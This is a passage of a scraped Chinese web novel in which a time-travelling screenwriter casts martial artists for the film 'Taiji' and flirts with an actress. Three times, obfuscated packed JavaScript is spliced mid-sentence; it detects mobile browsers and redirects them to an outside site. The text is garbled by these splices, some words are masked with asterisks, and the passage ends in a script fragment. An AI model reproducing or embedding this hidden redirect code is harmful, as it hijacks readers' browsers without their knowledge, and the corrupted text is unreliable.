浙江武术队也大名鼎鼎,当李文化和高跃林见到耍了一套刀术,又来了一套棍术,最后打了一趟南拳的胡坚强时,对高远选角的眼光彻底服气了。 **是从哪儿发现这些奇才的? 高远笑道:“玄学!不可说,不可说。” 回京的火车上,高远掰着手指头算了算。 到目前为止,搞定了于海、**魁、杜玉明、于承惠、熊欣欣、胡坚强这六位。 李连杰那边至今还没给消息。 如果什刹海武校拒绝放人,那男主角就得重新筛选了。 但让他很挠头的是,同年龄段里,拳打得好,演技又可以轻松调教出来的男演员凤**麟角。 想找一个比李连杰还合适的男主角,难! 等等看吧,不行再说。 他忽地又想起一件事儿来,探着脑袋对下铺的李文化说道:“导儿,咱们是不是忘了个人啊?” 李文化被他问得一脸懵,反问道:“把谁给忘了?” 高远苦笑道:“鲍国安老师,我臆想中,他挺适合演陈正英一角的。” 李文化一拍脑门儿说道:“还真是把他给忘了,但是咱俩已经把陈正英这个角色许给于海同志了,再找鲍老师就不合适了吧?” 第132章 演员全搞定 高远想了想,说道:“是不太合适了,要不就算了吧,以后有大把合作的机会。” 李文化打个哈欠,说道:“以你的高产量,合作机会基本是不缺的。睡觉睡觉,这一趟折腾下来,困死我了。” 打哈欠这玩意儿是能传染的。 他这一打,高远和高跃林都跟着张大了嘴巴。 高远清空了脑子里乱七八糟的想法,在咣嗤咣嗤的声音中很快进入了梦乡。 梦里五彩斑斓,他和温柔大姐姐深情相拥,他用灼热的嘴唇跟大姐姐勾芡儿。 次日一早醒来时,高远感到一阵黏糊,低头一瞧。 我靠! 他连忙把裤衩子脱下来,顺手擦了擦,换了条新的,无比迅速穿好衣服。 趁李文化和小叔还在沉睡,他掀开车窗,将那条沾满了亿万子孙的内裤往外一扔。 去你的吧! 这**也叫毁尸灭迹吧? 这该死的年轻身体啊。 高远长吁短叹。 回到京城,一股熟悉的气息扑面而来。 狂风卷着沙尘,天空犹如撑起一把黑伞,整个世界仿佛都被遮盖起来,暗无天日的感觉。 黄色的沙粒铺天盖地吹过来,声势浩大、狂放不羁。 “呸!呸!这他妈可咋走啊?” 高远刚出航站楼就被灌了一嘴沙子,他连忙扭头吐了两口,接着吐槽道。 “哎哟,迷眼了,迷眼了!跃林赶紧帮我吹吹。” 李文化也没好到哪儿去,两行热泪滚滚而下。 高跃林拎着个包走在最后面,见二人如此惨状,很**道的笑了起来。 倒也仗义,他把李文化拽进来,扶着走到角落里,翻着李导的眼皮使劲往里吹气儿。 “好点没?能睁开眼不?” 李文化又揉了揉,眨巴一下眼珠子,道:“好多了,娘的,什么破天儿。” 高远拧开军用水壶递给他,说道:“再冲冲吧,角膜出了问题,您别说掌镜了,掌嘴巴子都看不清对方的方位。” 李文化接过去道谢,冲眼睛。 高远又吐槽道:“沙尘暴天气,大四九城一年少说也得有个**回,吹过来的沙子堆吧堆吧恨不得能起一座三层小楼。 老百姓可就遭殃了,灰头土脸饱受摧残呐。” 高跃林说道:“问题是这玩意儿还没办法治理,除非把沙漠全变成绿洲。” 李文化冲洗了眼睛,感觉虽然还有点疼痛但问题不太大了,把水壶递还给高远,说道:“你俩先别研究学术问题了,中央都解决不了的问题,你俩操这心干嘛? 先想想咱怎么回城吧,横不能咱们仨今晚睡航站楼?” 高远嘿嘿笑道:“实在不行就只能住酒店宾馆了。” “你觉得,现在订房间还能订得上?”高跃林毫不犹豫地打击他道。 高远叹声气,道:“得嘞,去机场办借电话,让厂里来车接。导儿,您面子大,哪怕红着眼,更有说服力,这任务交给您了哈。” “你真是,人尽其才,物尽其用,一点都不浪费啊,唉……”李文化悲愤离去。 半个小时后,汪厂长特许,厂办派了车过来接三人回了城。 …………………………… 北大正月十六正式开课。 高远露了一面,引起全班同学热烈的掌声和欢呼声。 这货像校长一样跟大家挥手致意,被赵建福一脚踹下了讲台。 陈建功将一篇稿子递给他,低声说道:“这是我觉得最适合改编成电影的作品了,你帮着看看,如果能行,感激不尽。” 高远收下,道:“我尽快看,哪里不合适,等编辑们提出修改意见后我再通知你。” 陈建功一抱拳,说:“感激不尽!” 高远道:“哥哥客气了。” 上了一上午课,中午高远请客,在长征,请寝室室友们和小查、小王几人暴搓了一顿,下午就请长假了。 老师、教授们对此都无感了。 都知道他忙。 作为北影厂聘任的专职编剧,虽不是正式员工,但架不住他作品多。 最近更是传出来,这小子挣外汇了。 他创作的作品被香港长城公司选用,给他支付了1000港纸。 1000港纸啊,折合人民币,查不到资料! 在这个年头儿里,能给国家带来外汇收入的人,那不是爹,那是爷爷! 所以,老师、教授们啥表示都没有,直接放行。 高远又回到了他朝思暮想的北影厂招待所403房间。 他嘴里哼着歌:年轻的朋友们,我们来相会,送到火葬场,全都烧成灰,你一堆我一堆,谁都不认识谁,统统送到农村当化肥…… 心情好的不得了! 顾小白那厮又来催稿信了,威胁他尽快拿出新作品来,要不然《故事会》就要断粮了,再不动笔我就要去你们家门口栓根绳上吊了,我死不瞑目你就不怕晚上做噩梦吗? 高远屈服了,取出稿纸来,趴在桌子上笔耕不辍,一天时间写了五千字的《第二次握手》,不是……是《木棉袈裟》。 “话说明朝末年,奸臣当道,东厂篡权。 连年饥荒使中原大地饿殍遍野,民不聊生,锦衣卫掌管大臣**却不顾百姓死活横征暴敛,各路豪杰纷纷祭出少林正宗传人旗帜,与朝廷对抗,**本就对少林寺中僧人恨之入骨,招来武当叛徒祁天远,密谋后令他去少林寺盗取传世珍宝木棉袈裟……” 故事由此展开。 今天虽有状态,但速度不快。 不是因为注意力不集中,而是这孙子20虚岁了,**老是不由自主的鸡动。 明知道温柔大姐姐就在楼下,却无法与之亲热。 翘啊翘的就耽误写作状态了。 老是胡思乱想的。 他写到**化名的圆通大师伙同锦衣卫打手闯进少林寺,逼迫申通大师交出木棉袈裟,让出主持之位时就停了笔。 甩了甩有些酸痛的手腕,一看座钟,都快七点钟了,起身伸了个懒腰,拿着饭盒打算去食堂吃点残羹剩饭。 房门突然被人推开了。 梁晓声不见外的走进来,笑着说:“我就知道你在屋里,过来通知你一声儿,后天各路演员就要进京赴剧组报到。 老厂长要求你务必在厂里等着,等演员们到齐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402313|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,厂里会邀请几位表演专业的老师前来给演员们讲授表演课程。 对了,什刹海体校回信儿了,经过市体委协调,他们同意放武斌教练和李连杰前来剧组报到。 另外还说,你若是还需要其他队员配合,他们也会无条件放人。” 这是两个好消息。 高远一乐,把饭盒放下,走上前搂着梁晓声的肩膀头说道:“这就妥了,值得庆贺,走,兄弟请你吃炒菜去。” 梁晓声一甩膀子,苦笑道:“我已经吃完了,老厂长才让林主任通知的我,让我转告你一声,他要是早说,我也饶不了你这顿饭啊。” 高远哈哈一笑,道:“那就不怪我了,你没这个口福。还有别的事儿吗?” “食堂没饭了,你在房间里随便煮点挂面吧。王导说,弄不好今晚得连夜开会,让我转告你在房间里等着,哪儿也别去。” 他话音刚落,李健群走进来,手里端着她那个保温桶,笑着说:“梁老师也在呢。” 梁晓声眼珠儿一转,笑道:“李老师来了啊,你们聊,我就不打扰了,先撤。” 说完就走,干脆利落。 李健群俏生生看着高远,轻启红唇:“还没吃呢吧,我给你打了些包子和米粥,还热着,你抓紧吃一口。” 高远心说,我想先吃你! 他走上前,接过保温桶放在茶几上,又握着大姐姐的双手,柔情蜜意道:“吃饭不重要,重要的是,想你了。诶你怎么老躲着我啊?尤其是我从外面回来后,想见你一面都难。” 李健群心说,还不是因为你不经我同意亲我那一下,让我无地自容、心如鹿撞了么。 她嘴上却不这么说:“《李志远》要去中宁县进行实地拍摄了,京城这两场戏得赶紧拍完,王导就有些赶,所以,我得配合王导的工作。” 高远对大姐姐的心思也心知肚明,并不点破,笑嘻嘻说道:“《太极》马上就要建组了,你早些拍完《李志远》也好,也能早点进组准备。” 李健群把他摁在沙发上,拧开保温桶盖子,拿出一个白胖的包子来塞进他手里,说道:“白菜猪肉馅的,味道特别好,你先别顾着说,先填饱肚子。 嗯,先听我说。 我得麻烦你一件事情呢。” 高远咬了口包子,含糊道:“咱俩就别说麻烦不麻烦了,有啥话你吩咐就是了,我还能不给你办是咋的。” 李健群俏脸一红,咬着嘴唇,片刻后说道:“我想去北大图书馆查些晚清百姓服饰方面的资料,不知道方不方便?” “嗐,我还以为啥了得的事情呢,小事儿,我把你带进去就行,你打算啥时候去啊?” “当然是越快越好了,最好明天就去。” 高远三两口把包子塞进嘴里,嚼嚼咽下后又喝口米粥,点头道:“没问题,明天一早咱俩就过去,我把你送进去,找人陪着你,你想要查什么资料尽管吩咐她。 然后我还得回来等着地方上那些爷来报到。 另外我提前跟你说一声,明天下午你最好也要赶回来,先见见人,我相信在服装设计方面会对你有所启发的。” 第133章 《太极》建组 李健群撩撩头发,眨着大眼睛说道:“对了,你知道吗?前天从香港来了一支队伍,十好几个人呢,带队的是个叫张鑫炎的导演,大家都说他是左派导演,来国内选演员的。 主要是选武术高手,要拍摄电影《少林寺》。” 高远拉着她的手在沙发上坐了,边吃包子边说道:“这事儿我早就听说了,不是说只有他一个人回国吗?怎么带了这么多人来?” 李健群笑着说:“这位张导在厂里露了一面,跟老厂长谈了一次话后,婉拒了厂里提供帮助的好意,分出四路人马,分别前往东西南北四个方向,到全国各地的武术队挑演员去了。 大家开玩笑说,他这是全面撒网重点捕捞。” “哟,老厂长都主动要帮忙,他都拒绝了,这人信心十足啊。” “我比较担心的是,他去选演员,看上眼的人万一跟咱们《太极》挑选出来的人有重叠该怎么办?” “凉拌!” 高远笑笑,一副满不在乎的样子。 《少林寺》他上辈子可没少观摩,他的《太极宗师》几乎把参演《少林寺》的演员都一网打尽了。 撞车是必然的。 但他也清楚,《少林寺》的拍摄制作过程十分坎坷。 起初选演员的时候,小师傅觉远的扮演者并不是李连杰,而是一个叫吴刚的演员。 不是李达康啊,是香港无线电视的艺人吴刚。 长城电影公司最开始邀请来的导演也不是张鑫炎,是陈文。 这片子是在冬天拍摄的,场景灰暗,陈文又启用了大量河南京剧团的演员进行拍摄,结果拍了个一塌糊涂。 但此时《少林寺》已经花了40万港币,接的又是国家任务,傅奇虽然怒火攻心,却也只能继续拍摄下去。 他跟制片人兼副导演张鑫炎商量过后,决定将此前的拍摄内容全部推翻,演员从国内各武术队挑选精英,正剧风格改为轻喜剧。 冬天拍摄,呈现出来的效果太过萧瑟,改为秋天开拍。 张鑫炎亲自来内地挑选演员,他在72年拍摄纪录片《万紫千红》时便结识了幼年学武的李连杰,力邀他出演觉远小师傅,李连杰爽快答应。 并在国家体协的帮助下敲定了于海、于承惠、胡坚强、**魁、计春华等武术界精英。 这才有了大家后面看到的那版《少林寺》。 眼下出现了高远这只蝴蝶,他煽动了一下翅膀就改变了历史方向,张鑫炎居然真就来选演员了。 也不知道在他亲自推动下的《少林寺》,还会不会如前世那般经历一番千难万阻才能绚烂重生。 即便你老张出马了,拍摄进度大概率会比上辈子顺利一些,但你看中的演员现如今悉数全在我阵中,要求也是你求我。 老张勿怪啊,谁让我是有外挂的人呢。 高远心中暗乐不已。 瞧他这副吊儿郎当的样子李健群就很郁闷,锤他一下后说道:“你别不当回事,《少林》的影响力肯定要比《太极》大,不是有那么句话嘛,自古武功出少林。 谁也没说过自古武功出武当的。 对那些武术队的精英们来说,有参演《少林寺》的机会,推了《太极》也不是没有可能。” “但你忘记最重要的一点了,时间上来不及了呀,不出意外的话,我们挑选出来的演员已经在赶来京城的火车上了,就算他跑遍了各体校、武术队,连心仪演员的面都见不到,他拿什么跟我们抢人? 所以,放宽心,你说的这个问题就不是个问题。” 高远说着,拍了拍大姐姐的大腿,真软和啊。 李健群俏脸一红,小声嘀咕道:“又占我便宜。” 高远嘿嘿一笑,刚想有进一步的举动。 先摸手,后摸肘,顺着胳膊往上走…… 这时候,门被敲响了。 高远一气,哪个不开眼的,敢在这个时候打扰哥们儿和温柔大姐姐蜜里调油的美好时刻。 他提高点声量,没好气儿地问道:“谁啊?” 从外面传进来一个极具个性的声音,沧桑中带着点儿深刻,“高老师在吗?我是葛优啊,我接到通知说明天正式建组了,特来向你报到。” 高远无奈,起身走过去,拉开房门,见葛优咧着嘴站在门口,脸上还有点儿不大好意思。 他也乐了,一伸手,说道:“快请进吧,我说你着什么急啊,明天报到也不迟。” “这不是担心事情黄了嘛,大晚上的过来打扰您,您多担待吧。”葛优走进屋,一瞧,沙发上坐着个大美女,遂瞪大眼睛道:“哟,这位是……” 李健群站起身冲他微笑。 高远介绍道:“我女朋友李健群,也是厂里演员剧团的一员。” “哎哟,高老师好福气啊,您长得可太漂亮了,温柔大方的。”优子忙捧道。 “您过奖了。”李健群轻轻柔柔地说道,倒越发显得温柔如月光一般。 高远给优子倒了杯水,说道:“坐下聊吧。李老师,这位是葛存壮老师和施雯心老师的公子葛优。” 李健群又向葛优问候了一句:“您好,我听高老师聊起过您来,今天初次见面,很高兴和您相识。” 葛优咔咔眨眼,您二位互相之间这么称呼对方的吗? 不像是情侣,更像是同事啊。 他嘿嘿一笑,道:“您客气了,认识您我也很高兴。” “远子,你也太不仗义了!我以为凭咱俩这关系,就算我不打招呼你也得给我留个角色啊,结果我等来等去,好嘛,明天都正式建组了也没等来消息!” 一个响亮的大嗓门儿传了进来,紧接着,二子哥那几千年才出一个的俏丽面孔出现在三人眼前。 “哟,小红也在呢,你俩这是处上了?” 他大步流星走进来,一脸贱兮兮的笑模样,拍着高远的肩膀说道:“我女朋友没几天就被你小子撬走了,说吧,你要怎么补偿哥哥我这颗受伤的心灵?” 李健群抿着嘴笑,眉梢都笑成了一弯月牙,且看男朋友如何应对。 高远翻个白眼儿,说道:“电影里的女朋友还能算正式女朋友啊,都像您这么较真儿的话,老爷子和黄玲老师早该睡到一张床上去了。” 李健群:“哈哈哈哈哈……” 葛优咧着嘴腰都笑弯了。 二子哥一拍高远的肩膀,瞪着眼说:“嘿,你小子,胆大包天!竟然敢拿老爷子开涮,你这番言论要是搁大清朝那会儿,罪过都够得上被推出午门问斩了我告诉你!” 啥叫语言大师? 这就叫语言大师。 甭管对方说啥话,他绝不会让对方的话掉在地上,对答如流的同时还能让对方感到身心愉悦。 高远乐得不行了,“嚯,我那么大罪过呢。得嘞得嘞,您直说吧,让我给您啥补偿才能弥补您身心受到的伤害?” “那自然是给我安排个角色啦!” 陈小二一点都不见外,自个儿落了座,看优子一眼,冲他点点头。 两人同住在一个院子里,但并没有多少交集。 主要是二子哥出生在吉林,15岁随父亲上山下乡去了军垦农场,73年考进八一厂才回了京的缘故。 高远瞧瞧二子哥,又看看优子,心里直乐呵,没想到啊没想到,国内影坛未来的两位喜剧巨星居然在自己房间里胜利会师了。 他脸上却愁容满面,道:“哥,实话说,你给兄弟出难题了。《太极》这个片子的演员几乎全确定下来了,我不瞒您,都是我从各地方武术学校里划拉来的武林高手。 起初创作这个本子的时候,我不是没考虑过您。 但写着写着就发现,您这形象,跟哪位角色都靠不上。” 陈小二一立眉毛,不服气道:“我这形象咋了?” 这还用说么,几千年才出一个的玩意儿…… “您是天生的喜剧明星,演武打片会让观众觉得出戏,也就是不严肃。” 高远实话实说,真诚得像个认真糊弄人民群众的乡镇**。 佩斯同志挠挠头,呲出一口小白牙,道:“你这么说倒也对,我是演不了严肃作品,《瞧这一家子》上映后,我走到哪儿都被人喊胡嘉奇。 人民群众见了我都是那句话:你要大刀阔斧地前进! 他们乐我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402314|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也乐,这就是你小子提到过的个人符号,成了印在我身上的标签。 但是哥哥最近闲得难受啊,没戏拍,我浑身不自在。 你说,凭咱兄弟俩这交情,我不找你我找谁? 唉……让你为难了。” 说完,他见茶几保温桶里有几个包子,拿起来就吃。 高远目瞪口呆,你是真不见外啊。 他也想过,要不要提前把二子系列写出来,跟二子哥达成个长期的战略合作关系。 后一琢磨,剧本倒是可以写,但他不想再卖给北影厂了,挣钱的速度太慢,那一麻袋一麻袋的读者来信他都没地儿搁了。 得快点儿挣钱买房子搁读者来信。 那怎么办呢? 他想自己拍,但这时候肯定不行,国家根本不允许私人进行电影拍摄制作。 但也不是一点办法都没有。 二子哥就干过这事儿。 他和老爷子的《父与子》拍摄到一半被相关单位叫停,原因就是拍电影必须挂名电影制片厂。 爷儿俩拿着本子跑遍了全国大小十几家制片厂,均遭到拒绝。 最后是陈老爷子拍着台子咬着牙才继续拍摄完成的。 这部影片是国内电影史上第一部,也是唯一一部没有厂标的电影。 但影片拍完后却没人敢购买,把爷儿俩急得满嘴燎泡。 后来电影局为此专门下了一个特殊批文,才由中影公司一次性付款收购。 爷儿俩没赔钱。 结果电影一上映,火了! 二子哥后来拍摄并担任主演的《二子开店》《父子老爷车》《爷儿俩开歌厅》等片均挂了长影厂的标,那是因为他给长影厂交了一笔挂靠费,又打通了中影公司的关系,自个儿往外卖拷贝,才赚得盆满钵满的。 高远对二子哥的发迹史印象深刻。 包括他后来跟央视闹翻,自个儿开公司赔了个一塌糊涂,在妻子的建议下去延庆包了万亩荒山种石榴那些事儿,高远也烂熟于心。 这当然不是高远不想立刻把《二子系列》拿出来的主要原因。 他还想在北影厂经营一年,再把关系打得牢靠一点。 等今年底的文代会开完,领导们定了调子,电影事业真正迎来春天。 凭他和老厂长的关系,直接挂靠北影厂的厂标,自己就能发大财了。 至于说中影方面如何摆平,大伯想必能出份力。 看着二子哥愁眉苦脸的样子,高远拍拍他的膝盖,宽慰道:“就算没电影可拍,您不是还有份工资拿么,您比优子强多了。 您瞧瞧优子,不找点事情做就得回农村继续养猪。 他愁得发际线都快秃到后脑勺上去了。 这么一比较,您心里是不是舒坦多了?” 二子哥又瞧了眼葛优,咧嘴一笑,心里却是舒坦了许多。 葛优唉声叹气道:“没有对比就没有伤害啊,高老师,让您这么一说,陈老师心里是舒服了,我心里更难受了。” 高远哈哈一笑,又道:“听我的,都甭着急,演戏的机会在后头呢,等我把这部《太极》拍完的,我再写个本子,写完后只要能顺利通过审核,能够立项,我一定邀请各位参演。” 他本来就没打算停下来。 为了捧李健群,高远也得继续创作下去。 他有个小目标,每年最少给温柔大姐姐写一部戏,五年内让健群姐把该拿的电影奖项拿个遍。 听他这么一说,二子哥咧嘴笑了,道:“你这么说我心里就有谱了,等你新作啊。” 见时间不早了,这货把剩下两个包子拿起来,起身又道:“走了。” 我靠! 你这是贼不走空啊! 高远表示没眼看。 佩斯一走,葛优也坐不住了,提出告辞。 高远把两人送出门,又哈拉了两句,目送两人离开。 等到晚上十点钟,李文化也没召集大家开会。 高远把大姐姐送下楼后返回房间休息。 次日他刚吃过早饭,从食堂里走出来,往不远处一瞧,忍不住乐了。 就见第一个来报到的家伙蹬着自行车风驰电掣骑行过来。 第134章 妖魔鬼怪会京华 来人下了车子,满脸笑容跟高远握手道:“高策划,我来向剧组报到。” 高远也乐了,握住他的手晃了晃,说:“欢迎你,老杜。” 杜玉明笑着问道:“需要我做些什么吗?” 高远说声稍等,朝食堂里喊了一嗓子,“导儿,导儿,你吃饱了没,老杜来报到了,你赶紧找个人来接待一下子。” 片刻后,李文化叼着半根油条跑出来,“来了来了,我亲自接待,杜儿,你来挺早啊,吃了没?” 杜玉明又跟李文化握了手,点头道:“吃过来的,二两包子一碗炒肝。导演,今天什么安排?” 李文化说道:“先剃头,跟我走吧,为了拍这个片子,厂里可是耗费了颇多心血,一号摄影棚后面有块空地你知道吧?” 杜玉明推车前行,说,来过一回,知道。 李文化又道:“那块和生活区相距不远的空地已经被挡板隔开了,正在建西四牌楼街,经过工人同志们日夜不停的奋战,现在已经初具街道雏形,建好后可着咱们先用。 我跟厂里提了请求,让厂里空出一座棚来,作为我们剧组的基地。 领导也答应了,我领你先去看看,再带你去招待所安置下来。 等其他同志都到齐了,咱们开始进行表演课培训。” 他一回头,见高远还杵在原地,“你嘛呢?还不赶紧跟上。” 高远耸耸肩,说道:“你俩先过去吧,我回学校一趟,办点事情一会儿就回来。” 李文化点点头,没再搭理这家伙,带着杜玉明往主楼后面走了。 高远溜达到招待所楼前推了自行车,刚好李健群从楼里走了出去。 李老师今天穿得很厚实,高领毛衣外面罩着件黑色过膝羊绒大衣,戴着顶毛线帽子,脚蹬厚底皮靴。 她手里还拿着一顶毛线帽,俏皮地眨着眼睛递给高远,道:“天冷,你也戴上吧。” 高远把头摇成了拨浪鼓,死活不肯戴,这玩意儿会让他的颜值变得很模糊。 上限吴彦祖,下限陈佩斯。 他接过来揣进大衣兜里,嘻嘻笑道:“我不冷,赶紧走吧,我把你送过去后得抓紧回来,已经有演员过来报到了。” 他蹁腿上了车子,单腿撑在地上。 等李健群轻盈地跳上车后,他开始骑行。 “谁来了呀?”李健群问道。 “老杜。” “他还挺积极。” “头一回参与电影拍摄,觉得新奇是正常的。” 李健群嘻嘻笑:“我头一回也这样儿。” 自行车穿行在北大校园里,很快引起同学们关注的目光。 有几个同学认出了后座上的李健群,朝她大声喊:“小红!” 李健群便微笑着朝大家挥手,没有一点偶像包袱。 高远一路骑行,来到女生宿舍楼下,停稳车子后朝楼上大声喊道:“小查!査建英,你下来一趟!” 马上有宿管阿姨从窗口探出头来,一瞧,乐了:“哟,这不是高老师吗?你又来找小查啊。” 高远忙问候道:“孙姨好,我来找小查有点事儿。” “别喊了,关着窗户呢,你喊破喉咙她也听见,等着,我去给你喊一嗓子。”孙姨是个热心人,说完就奔査建英的寝室而去。 “你在学校还挺出名,连宿管阿姨都认识你。”李健群乐呵呵说道。 “嗐,些许虚名不值一提。”高远腆着脸说道。 “嘁,说你胖你还喘上了。”大姐姐揶揄他,顺便锤他一下。 时不时锤一下成了两人间互相打情骂俏的标志性动作。 反正高老师很享受。 能趁机抓住李老师的小手轻抚、把玩一番。 正在兴头上的时候,小查和小王出来了。 一见李健群,小查惊喜地呀了一声,跑过来问道:“李老师怎么得空来我们学校了?” 李健群握着她的手,笑道:“来你们图书馆查点资料,高远还有工作,没时间陪我,这不就来给你添麻烦了么。” 小查看看高远,又瞧瞧李健群,像哥伦布发现了新大陆,咋呼道:“你俩这是……好上了?” 高远点点头,说:“没错儿,我俩好上了。” 小查一跺脚,“唉……我下手晚了啊!” 小王在旁边端详着李健群,忽地一叹,道:“一朵鲜花插牛粪上了。” “什么话这是?什么话这是?没有牛粪的滋养,哪来鲜花的成长?还有你小查,我把你当哥们儿,你竟然馋我的身子,像话吗你?” 高老师义愤填膺,唾沫星子乱喷。 三个女生笑得都直不起腰来了。 李健群推着他说道:“有小查和晓萍陪着我就成,你别贫了,赶紧回去吧,不是还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402315|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大摊子事儿等着你么。” 高远点点头,对两位好朋友说道:“我家李老师就交给你俩了啊,她要找一些晚清时期服装的资料,不熟悉图书馆,你俩帮着找一找,可得给我照顾好了啊。” “照顾好了你请客不?”小查挽着李健群,笑嘻嘻问道。 “我请你吃糖葫芦成不?”高远笑道。 “小气劲儿的,赶紧滚吧,把李老师交给我俩你放心就是。” 高远蹬上自行车麻溜儿滚了。 小查和小王还是很靠谱的。 嗯,就冲小王你这表现,今后我说**也得把你介绍给郑晓龙! 他风驰电掣回到厂里,一瞧,嗬!这个热闹啊。 招待所楼底下全是人,于海带着**魁正在跟李文化哈拉。 武斌、李连杰、王群、葛春燕自成一派,也在聊着什么。 杜玉明正在和葛优聊天,那个表情,跟结城结弦遇见了河北彩花似的。 打旁边经过的诸位北影厂职工们见到这帮子人聚在一起,一个个长得跟妖魔鬼怪似的,皆惊讶得瞪大了眼睛张大了嘴巴。 这就是《太极》剧组吗? 演员们也太有特色了。 随便拎出一个来都吓人的狠呐! **魁先发现了高远,冲他挥挥手,大声喊道:“高策划!” 高远走过去,先跟于海问好:“于叔,您刚到的?” 于海笑着拍拍他的胳膊,道:“到了有一会儿了,又见面了,挺好的吧?” “挺好的,见您面色红润,就知道这个年您过得也有滋有味。” “这话说的,过年嘛,谁家还不包顿饺子。” 高远哈哈一乐,见大家很分散,便吆喝了一嗓子,“都往我这边靠靠,我给大家介绍介绍。” 诸位听他招呼都靠了过来。 他对大家说:“这位是山东武校的于海教练,螳螂拳传人,想必大家都不陌生。” 武斌一抱拳,说道:“在全国大赛上领教过于老师的拳法,大家风范,名不虚传!” 于海也冲他一抱拳,道:“武教练,没想到咱们又在一部戏里碰上了,难得的缘分啊。” “是啊,缘分难得,您演……” “我演陈正英。” 李连杰闻言立马走到于海面前,笑嘻嘻说道:“哟,那您是我师父兼岳父啊,我这儿给您请安了。” 第135章 开局艰难 于海看着身穿一身蓝色运动装,活猴子一般给自己打千儿的青皮小子,爽朗一笑,虚扶了一把说道:“快请起快请起,现在是新社会了,早不兴这一套了。 你这孩子这么一弄反倒让我不知所措了。” 李连杰嘿嘿一笑,说道:“老礼儿不敢忘。” 高远瞧着他,说道:“小李你先别着急,让我把话说完。” 李连杰撇撇嘴,一副不屑一顾的样子。 他挺看不上高远,觉着这货比自己大不了几岁,又是编剧,又是策划的,凭什么? 高远不在乎,他把葛春燕拉过来,介绍道:“于叔,这是葛春燕,在片子里饰演小桃,算是您的贴身丫鬟。” 于海愣了愣,接着露出笑容,道:“小葛同志辛苦了。” 葛春燕眉眼含笑,不好意思道:“于教练客气了,有幸跟您搭戏我很高兴,拍戏之余,我还指望您传授我两招螳螂拳呢。” “天下武林是一家,你有兴趣,我自然倾囊相授!”于海豪气干云。 高远把大家互相介绍了一下。 中国武术界就这么个圈子,即便不认识,也听闻过对方的名字。 况且在场的众位大多在国内举办的赛场上较量过,这一介绍,并不陌生,很快熟悉起来。 高远对李文化说道:“人还没到全,先来的先安置吧,让大家去招待所住下来,等人都到全了,咱们再开始培训。” 这个剧组很奇特,高远作为总策划是组长,李文化这个导演反倒是副组长。 还有一个负责人叫王彬,没错,就是那个《瞧这一家子》的总负责王彬。 这时候没有制片人一说,王彬是电影拍摄期间,厂里派来驻组的观察员。 说穿了,就是代表厂里负责监督影片拍摄工作的领导干部。 李文化闻言,点点头,说道:“嗯,让后勤安排大家伙儿先入住招待所,还有好多演员没到呢,到了后立刻开始培训。” 他让剧务领着大家上楼。 然后掏出烟来,递给高远一根,忧心忡忡道:“远子,这里没外人,我跟你实话实说,我压力很大。” 高远把烟接过来,先掏出火柴盒给李文化点了,又给自己点燃,接着说道:“导儿,我能理解您的压力来自哪里,面对这么一帮一点演技都没有的武术界人士,您担心拍砸了。” 李文化狠狠抽口烟,说道:“正是如此,我也不相信你一点都不担心。” 高远说道:“我也担心,这毕竟是国内电影界的第一次尝试,启用一帮没有演技的演员们去出演一部武打片,说一点都不担心怎么可能? 不过话说回来,王彬老师不是去中戏和北电找表演方面的专家教授来给他们上课了么? 老师教授们来了,教一点演技方面的基础知识,让这帮武林人士能够代入人物,总该问题不大吧?” 正说着,王彬过来了。 他垂头丧气,从高远手里把他没抽完的半截烟拿过来,狠狠抽了一口,说道:“你俩的话我听到了,我正要说这事儿,事情进展得非常不顺利。” 高远大惊,问道:“老王,怎么个情况?” 李文化也急切地问道:“没找到老师?” 王彬又抽了口烟,吐了口烟沫子,这才说道:“我这两天跑了两趟北电和中戏,通过厂里的关系也见了不少教表演课的老师,浪费了三两唾沫星子 可那些老师们一听,咱们拍的是武打片,并且邀请他们教一些一点表演常识都没有的武林人士去演电影,震惊之余全都拒绝前来帮忙。 言之凿凿说:无能为力,教他们,还不如带新生! 言外之意是,付出劳动得不到成果,都他妈不够费劲的,他**戈壁的! 一帮势利眼的玩意儿!” 王彬给高远的感觉,一直是那么的温文尔雅,有大学教授气质。 没想到他今天为了找不到老师来教课这件事情居然爆粗口了,可见他此刻有多么愤懑。 “王主任你先别着急,北电、中戏的老师请不来,咱自己演员剧团教表演的老师们也请不来吗?”李文化问道。 “我找了哈斯楞老师,哈老师说,他已经答应了凌子风导演,去他执导的《**》剧组出任艺术指导。 然后我又找了王芳同志,王老师说,她和成荫导演说好了,要弄《西安事变》。 其他两位老师也各有各的事情,不是写论文,要评高级职称,就是应了水华导演的差事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 